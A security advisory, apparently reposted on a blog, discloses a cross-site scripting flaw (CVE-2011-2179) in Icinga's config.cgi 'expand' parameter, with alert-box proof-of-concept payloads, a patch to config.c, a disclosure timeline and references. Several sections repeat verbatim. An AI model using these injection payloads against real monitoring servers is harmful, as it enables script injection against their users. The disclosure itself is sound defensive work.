SSCHADV2011-005 - Cross-Site Scripting vulnerability in Icinga
| Advisory: | Cross-Site Scripting vulnerability in Icinga |
| Advisory ID: | SSCHADV2011-005 |
| Author: | Stefan Schurtz |
| Affected Software: | Successfully tested on: icinga-1.3.0 / icinga-1.4.0 |
| Vendor URL: | http://www.icinga.org |
| Vendor Status: |
Resolved
|
| CVE-ID: |
CVE-2011-2179
|
======================
Vulnerability Description:
======================
This is a Cross-Site Scripting vulnerability
==============
Technical Details:
==============
Vulnerability Description:
======================
This is a Cross-Site Scripting vulnerability
==============
Technical Details:
==============
No input validation for "expand" in config.c(gi)
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=====
Solution:
=====
in config.c
< printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",command_args0);
> printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",escape_string(command_args0));
This solution doesn’t fix the whole problem – see https://dev.icinga.org/issues/1605#note-3 for more information
================
Disclosure Timeline:
================
01-Jun-2011 – informed developers
01-Jun-2011 – Release date of this security advisory
01-Jun-2011 – fixed – Target version: 1.4.1
01-Jun-2011 – post on BugTraq and Full-disclosure
====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://www.icinga.org
https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-005.txt
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=====
Solution:
=====
in config.c
< printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",command_args0);
> printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",escape_string(command_args0));
This solution doesn’t fix the whole problem – see https://dev.icinga.org/issues/1605#note-3 for more information
================
Disclosure Timeline:
================
01-Jun-2011 – informed developers
01-Jun-2011 – Release date of this security advisory
01-Jun-2011 – fixed – Target version: 1.4.1
01-Jun-2011 – post on BugTraq and Full-disclosure
====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://www.icinga.org
https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-005.txt
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2179
http://www.tenable.com/plugins/index.php?view=single&id=55163
Trackbacks
No Trackbacks
Comments
Display comments as Linear | Threaded